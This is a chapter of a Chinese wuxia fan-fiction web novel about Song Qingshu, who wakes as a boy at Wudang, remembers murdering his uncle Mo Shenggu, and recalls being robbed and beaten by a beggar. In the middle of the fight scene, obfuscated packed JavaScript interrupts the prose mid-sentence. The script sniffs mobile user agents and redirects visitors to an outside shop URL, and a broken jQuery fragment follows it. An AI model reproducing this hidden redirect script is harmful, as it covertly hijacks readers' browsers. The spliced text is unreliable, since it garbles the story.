指尖先于意识苏醒。
被面是种带有草木气息的柔和软,外面虽粗粝内里却亲肤,蹭过指腹时,还有未散的暖意。
宋书猛地睁开眼,视线撞进一片晃眼的明黄。木质云纹雕花的孔隙中缀着一枝小巧的玉坠,上面的流苏伴随着他起身的动作而轻轻晃动。
煞是好看。
鼻间萦绕着淡淡的熏香,青色的香雾正从香炉里蜿蜒而上。
屋于里并没有多余的桌椅,只一张酸枝木书案与一张圈椅。靠窗处有一张软榻,铺有素色布垫。
整间屋子不太,却藏有一股沉静的力道,处处体现着用心。
宋青书倒隐约记起来,这是他满12岁以后,宋远桥给他布置的一个小房间。
当时他欣喜无极,对着他爹宋远桥连称谢谢。
“青书,怎么在发呆,醒了也不知要叫人?”正在这时,一个身形挺拨的身影,裹挟着院外的松香与潮气,带风而进。他那玄色动装下摆还沾有几片未干的草叶,显是从后山练剑回来。
随身佩剑将他少年侠气衬得愈发鲜明,年轻的嗓音更是体现他的少年意气,只是那一脸的络腮胡子稍显格格不入。
这也没法,这胡子是主人特意而留,为的是身旁诸人不再将他当成小孩看待。
是七叔,是意气风发的七叔,是正直刚健的七叔。
宋青书眼眶一阵泛酸,“七叔”,低低地应了。
那时,一向心高气傲的他情场失意,放纵自己吃醉了酒,来到峨眉女寝外面,酒壮人胆,正要捻破窗户纸,往里看。
“畜生,你做什么?”一声怒喝穿空而来,顿时吓得他三魂去了七魄。
显然是自己所做的事情有失名门风范。
原来是莫七叔,他扭着他的右臂,就要拉着他回武当,让太师父定夺。
他极力扭脱,终于挣开了七叔,拔足狂奔,还是被七叔追上了。
而宋青书那时心中惊惶不定,他经验尚浅,一想到众人知道这件事之后会如何看待他,心里更是心惊肉跳。
于是有了冈山比武,陈友谅该是一直跟着他,觑有空当,立马就加入他二人的比斗之中。
一阵混乱,本来莫叔是有可能打败他二人联手的,就在这之中,他给宋青书露了一个后背。
他没有想到宋青书会杀他,他对宋青书不设防。
可宋青书还是杀了他,用的还是武当绵掌,他只想自己在众人面前的形象依旧是光明的。
宋青书看着莫七叔痉挛倒地,片刻后没了声息,他把尸体搬到山洞里,被张无忌和赵敏发现,还被狼破坏了。
这边厢,莫声谷瞧见宋青书脸上的神色越来越痛苦,以为他是为了宋远桥责骂之故?“青书,你放心,过几天七叔一定要去同你爹说说,让他不要管束你那么紧。”
“七叔,我无事。”宋青书抹一抹目上湿润。
他已经记起来这是什么时间点。
13岁时,自他自己有房间之后,越发自命不凡起来。想自己是三代弟子中独一份的,武功最高,他这时已经隐隐有点意识了,爹爹虽是代掌门之职,自己又兼是他的独生爱子,不出意外的话,他就是武当第三代掌门。
是以有一日,宋远桥责咎他不扎实修习武术,几句话说得重了一些。
他内心一时不忿,仓皇奔下山来,行至街上,见熙熙攘攘的人群,这才生出一丝后怕来。
随即他又一想,这有什么好怕的,正好见识一番。
他平日里总是习字练武,要下山,紧跟宋远桥身后。
他悠然地行至巷尾处,因那里有一小糖人店,那糖人一个个栩栩如生,有战神关羽擎着青龙偃月刀,凛凛然,威风八面;又有跃龙门的鲤鱼,连鲤鱼身上的水都那么逼真;再瞧那只糖龙,更是气势非凡。
龙身蜿蜒盘旋,鳞片在阳光下闪烁着晶莹的光泽,仿佛一片片真的龙鳞覆盖其上。
龙角挺拔如松,透着一股威严之气;龙嘴大张,露出锋利的牙齿,仿佛下一秒就要喷出熊熊火焰。
龙爪锐利如钩,仿佛能抓住世间的一切,龙尾摇曳如风,仿佛在空气中舞动,整个糖龙仿佛随时都会腾空而起,直冲云霄。
他被这些东西吸引住眼球,一步步往那里去。
斜刺里却出现一个衣衫褴褛,手持一根油光水滑的竹棍的乞丐,未等他回神,那根竹棍便向他胸前一扫,他堪堪避过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109821|195845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他习武虽有几年,但社会终究还是阅历不足,第一次与人交手,对方的招式便如此凌厉,且他此时未有配剑,结果当然只有挨打的份。
果真,这老乞丐见他避过,又使出一招‘釜底抽薪’,竹棍往下摆一拂,他未来得及后退,下一招又袭来,弄得他措手不及。
险险避过十几招,那乞丐似乎是故意遛他,等他将要避过的时候下一招立即就来。
于是几十招过后,他渐渐地体力不支起来。但对面那人似乎看出了他的身法,“咦”了一声,收了戏耍他的心思,一招抽云追月竹棍往他后颈袭来,他就不省人事了。
醒来时钱袋玉佩通通都不见,想是那老乞丐见他身法是武当弟子,不想武当来寻仇,只是把他的钱袋玉佩拿走,打晕了,并不伤他。
他挣扎着回至山门,被小道童发现。
那时他已是又累又饿又怕,却不知爹爹从几位师叔找了他许久,始终不见他回来,都心焦不已。宋远桥后面从他口中问明了这件事后,认为是他武功没练到家,所以才被人打成这个样子,简直是丢了他这个武当首席大弟子的脸。
“青书,昨日所教的梯云纵怎么样了?如若不练五十遍,便不用进早饭了。”
“青书,今日所教的武当绵掌口诀,记得还清楚吗?再练十个回合,没练完便不要来见我。”
……
而宋青书这时候心里想的是爹爹居然不去为他讨回公道,反而对待他如此严苛,心里对宋远桥生了一些怨怼。
想来这时候他的心已经歪了。
之后数月,几乎每天练武,练到手筋脚筋酸软无力。
武功虽较之前进益的速度快了一点,但是身体上的疲累也导致心里的怨气更加强烈。
“七叔,我们一同去练武场吧。”宋青书提议道。
六叔和七叔的武功由他爹和二叔代授。由于宋青书和莫声谷年纪相差不多,七叔跟他在一起练武的时间还是挺多的,不过有时七叔和六叔也会交叉。
“我的梯云纵已经练得十分娴熟,正好叫我去给你露一手。”莫声谷时年23岁,正是英姿飒爽的年纪,因而这话听起来有种说不出来的潇洒和豪气。